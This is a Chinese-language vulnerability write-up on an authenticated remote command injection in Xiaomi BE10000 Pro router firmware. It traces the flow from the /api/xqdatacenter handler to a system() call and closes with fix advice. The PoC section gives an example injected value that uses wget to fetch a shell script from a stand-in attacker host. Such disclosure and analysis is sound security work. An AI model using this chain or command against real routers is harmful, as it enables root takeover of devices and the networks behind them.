Xiaomi路由器BE10000 Pro 稳定版 授权后远程RCE漏洞
字数 2545
更新时间 2026-02-27 03:28:49

小米路由器BE10000 Pro授权后远程命令注入漏洞教学文档

一、漏洞概述

产品型号:Xiaomi路由器BE10000 Pro 稳定版
固件版本:miwifi_rp04_firmware_85be4_1.0.70.bin
漏洞类型:授权后远程命令注入漏洞
漏洞危害:由于未对用户输入参数进行有效过滤,已授权攻击者可构造恶意请求,最终以root权限在设备上执行任意命令。
风险等级:高危

二、漏洞路径与核心分析

1. 入口点:Web API接口 /api/xqdatacenter
  • 漏洞文件/usr/lib/lua/luci/controller/api/xqdatacenter.lua
  • 触发条件:访问的API接口类型为 request
  • 处理流程
    1. 程序调用 tunnelRequest 函数。
    2. tunnelRequest 函数通过 http.formvalue_unsafe("payload") 获取HTTP请求中未经任何过滤的 payload 字段值。
      • 关键缺陷:此处使用了不安全的 formvalue_unsafe() 函数,而安全的 formvalue() 函数会调用 hackCheck 对危险字符进行过滤,但此处未使用。
    3. 将获取的 payload 数据使用 binaryBase64Enc 进行Base64编码。
    4. 将编码后的字符串拼接到预定义的命令模板 THRIFT_TUNNEL_TO_DATACENTER 中。该模板解析后为 thrifttunnel 0 '%s'
    5. 最终执行的命令形如:thrifttunnel 0 'Base64(payload_json)'
2. 数据传递与解析:thrifttunnel 程序
  • 程序作用:作为命令分发与数据中转程序。
  • 执行流程
    1. main 函数检查参数个数(需为3个:程序名、命令选项、Base64编码的payload参数)。
    2. 程序对传入的Base64字符串进行解密,还原为原始的JSON数据。
    3. 根据第一个参数(此处为 0)跳转到 case 0 的代码分支执行。
    4. case 0 会从JSON数据中提取 api 字段的值。
    5. api 值不在600至700之间,则调用函数指针 off_3F390 所指向的函数。
    6. off_3F390 函数的功能是将整个JSON数据发送到本地的 9090 端口。
3. 命令执行点:datacenter 服务
  • 服务监听:本地9090端口。
  • 触发函数datacenter::StorageApiCollection::sConstructMappingTable
  • 漏洞触发
    1. 当传入的JSON数据中 api 字段的值为 7 时,会调用 formatExtDisk[0] 函数。
    2. formatExtDisk 函数从JSON数据中提取三个字段:devvendortype
      • 关键缺陷:对这三个字段的值未进行任何过滤
    3. 函数调用 StorageApi::formattedExtDisk(...),并将三个字段传入。
    4. StorageApi::formattedExtDisk 函数将 vendortypedev 三个字段的值,按顺序与字符串 /usr/sbin/format_disk 进行拼接。
      • 最终命令:拼接成形如 /usr/sbin/format_disk {vendor} {type} {dev} 的命令字符串。
      • 关键缺陷:拼接前仍未对字段内容进行过滤。
    5. 程序调用 CommonUtils::sCallSystem(...) 执行上述拼接而成的系统命令。

三、漏洞利用链与PoC构造

攻击链总结
恶意HTTP请求 payloadxqdatacenter.lua 接收并Base64编码 → 调用 thrifttunnel 解码并转发 → datacenter 服务解析并拼接命令 → system() 执行命令。

PoC构造核心

  1. 构造JSON:构造一个 api 值为7,且 devvendortype 三个字段中包含恶意命令的JSON数据。
    • 命令注入方法:利用Linux命令连接符(如;&&|)或反引号(``)将攻击命令注入到任一字段中。例如,在 vendor 字段中填入 vulnerable; wget http://attacker.com/shell.sh -O /tmp/shell.sh
  2. 发送请求:将上述JSON作为 payload 的值,向路由器的 /api/xqdatacenter 接口发送一个类型为 request 的POST请求(攻击者需已获得授权)。
  3. 结果:注入的命令会以root权限在路由器上执行。

四、漏洞影响与修复建议

  • 影响范围:使用特定版本固件的小米路由器BE10000 Pro设备。

  • 造成后果:攻击者可完全控制设备,获取root shell,植入后门,监听流量,或作为跳板攻击内网其他设备。

  • 修复建议

    1. 输入验证:在 xqdatacenter.lua 中,必须对所有用户输入(特别是 payload)进行严格过滤,使用安全的 formvalue() 函数替代 formvalue_unsafe()
    2. 参数净化:在 datacenter 服务的 formatExtDisk 函数中,对 devvendortype 等传入参数进行严格的合法性校验和白名单过滤,禁止任何可能包含命令分隔符的字符。
    3. 最小权限:考虑是否必须以root权限执行 format_disk 此类命令,或使用更安全的函数(如 execvp)替代 system() 调用,并避免命令拼接。
    4. 官方更新:用户应立即关注并安装小米官方发布的安全更新固件。
    5. 网络加固:如无法立即更新,应严格限制对路由器管理界面的访问来源。
 全屏